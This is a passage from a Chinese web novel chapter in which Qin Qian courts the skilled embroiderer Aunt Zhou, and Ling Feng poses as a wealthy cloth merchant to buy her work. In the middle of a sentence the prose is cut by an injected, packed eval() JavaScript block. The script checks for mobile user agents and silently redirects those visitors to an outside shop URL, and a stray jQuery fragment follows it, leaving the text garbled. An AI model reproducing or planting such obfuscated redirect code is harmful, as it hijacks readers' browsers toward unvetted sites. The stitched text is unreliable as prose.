秦浅沉思了片刻,说:“你们不了解他的脾气,这样吧,下午我请周大娘去我家,假装无意问起他就是。
如果能帮大家一把,我自然也不可能藏着掖着,不过我也有难处,毕竟买不买的,也不是我说了算。”
大家听罢都表示理解,没有人真的会去为难她。
从镇子上回来,秦浅果然带着周大娘回来了。
因为是早有预谋的,屋子里那些比较现代化的东西,秦浅早就给收起来了。
进门后,凌枫不在家,说是跟傅林渊出去玩了。
秦浅端上茶水和糕点让周大娘吃喝。
周大娘看到酥皮糕点,顿时惊得站起来,连连摆手:“这太珍贵了,我可不敢吃不敢吃。”
秦浅拉着她,硬是塞给她:“没事,这都是凌枫带过来的,好几盒子呢。要是搁在平时,我们也吃不到的,他但凡带得少了点,说句真心话,我也舍不得送人。
你就拿着吃吧,剩下的抱回去给俩孩子吃。”
周大娘嘴里说着不敢吃,其实眼睛一直没离开糕点。
听秦浅这么说,也有点动心思,双手在麻布裙子上蹭了蹭,小心翼翼地拿起一块糕点。
一手往嘴里送,一手在下面谨慎地接着糕点掉下来的渣滓。
生怕浪费一点。
秦浅拿出来的是火腿咸肉梅菜的酥皮小饼,一口下去,满嘴都是荤油。
平时她自己最多吃半个,再多就腻味了。
但是周大娘不知道多久没尝过油水荤腥,竟然一口气吃了两个,才停下来喝了口茶。
她对自己的贪嘴有些无奈和心虚,有些尴尬地朝着秦浅笑了笑。
秦浅找来牛皮纸,说:“剩下的包起来给孩子带回去。”
“不用了,老三家的,别包了。”周大娘赶紧拉住她,“不是我跟你客气,一来孩子如果吃了这么好吃的糕点肯定会上瘾,这次有了,之后呢?咱们都不是城里富贵人家,哪能总吃这个?
二来,我家老大不是个聪明的,别人一哄就啥都说了,万一被人知道你家有好东西,岂不是遭人惦记?还是别了吧。
这好东西吃多了容易嘴刁,总想着这个味儿,以后就再吃不下别的了。”
秦浅一听,就知道这周大娘是个真诚厚道的,而且她对生活颇有自己的见解。
这段话说得质朴,却带着一股哲学气息。
由俭入奢易,由奢入俭难,确实如此。
秦浅果然没看错人,她对周大娘这样好是因为周大娘的手艺是村子里的佼佼者。
而且,她家里困难,干起活一定是最拼命的那个。
其他人只是想贴补家用,而她却是想要活下去。
就像是21世纪,老板总是压榨那些有俩儿子,有房贷车贷的员工。
而不敢对那些随时离职的年轻人甩脸子是一个道理。
于是秦浅也不强迫她,只是又塞给她一块枣泥糕饼,然后拉着她一起看傅言静做绣品。
姐姐正好有几个技术上的难题,周大娘可比傅言静老道,立刻上手亲自示范。
果然,傅言静豁然开朗。
“静姐儿极有天分,怪不得是你们那一批学手艺里最厉害的。”
周大娘乐得合不拢嘴,一边抱着怀里的傅云安,轻声细语地哄着。
“还是您经验老到,一下子就看出了我不好的地方,等会儿您在教我绣个鸳鸯眼吧。”
“好,没问题,只是你月子里针线活做多了伤眼睛,要少做些,等出了月子多少做不得呢?”
“我知道,只是这小丫头渐渐长大了,我想让她穿上亲娘做的衣裳。
还有我家那两个小丫头,闹着要我给她们绣肚兜呢,我欢喜得很,做起活来也不觉得多累。”
听她这么说,周大娘又想起了傅言静之前在赵家的艰难日子。
忍不住心里发酸,眼里渐渐蓄起泪来。
唉,可怜的姑娘。
正在此时,凌枫正跟傅林渊从外面嬉笑着回来。
他左手抓着野果
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13379543|141050||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
子,右手挎着篮筐。
像极了一个富家少爷来农村体验生活,欢脱犯傻气的可爱模样。
这是秦浅给他做的人设,让他看上去更加立体,更加有信服度。
秦浅给两人引荐了一下,周大娘看着俊俏后生,只觉得心里欢喜上前打千儿作揖,一口一个大爷地叫着。
凌枫赶紧扶住她:“老人家何须这么多礼?我一个后生晚辈可受不起这个,您坐就是了。”
秦浅说:“周大娘是我请来教姐姐绣东西的。”
凌枫立刻眼前一亮:“哦?大姐儿绣工拔群,能指导她的,那必然是厉害人物,大娘,我这里正缺绣品样子呢,不若您亲手绣些样子给我瞧瞧?
不论您绣成什么样,我都收,10文十寸布,怎么样?”
周大娘眼睛里顿时有了光。
她兴奋又紧张地搓着手:“这么……这么贵,我……我这老婆子哪里有这么贵的爪子哦!”
凌枫笑道:“大娘莫要妄自菲薄,您不妨试试,若是真不错,我可以跟您长期合作。”
凌枫演戏是真有一套,在江湖上漂泊得久了,装有
钱人也是很有两把刷子的。
站有站样,坐有坐样。
喝茶的时候那副欠揍的小模样真的很唬人。
包括秦浅在内,若不是知道他的底细,真的会被他糊弄过去。
她们都如此,周大娘有哪有不信的道理?
立刻就答应了,傅言静递过绣布和绣线给她,周大娘拿到之后立刻开工。
秦浅在一边开始走流程,“小枫,你真的需要绣品,还是在同情我们,施舍我们啊?”
凌枫哭笑不得:“嫂子,你想太多了,我是真的需要,你也知道我手下有布桩的生意。
这生意少不得绣娘,我怎么会不需要绣品呢?”
“可是,你们城里有多少好的绣娘,还缺我们村子里的这些大娘大姐?”
凌枫摆手道:“这你可就有所不知了,我且跟你细说说。”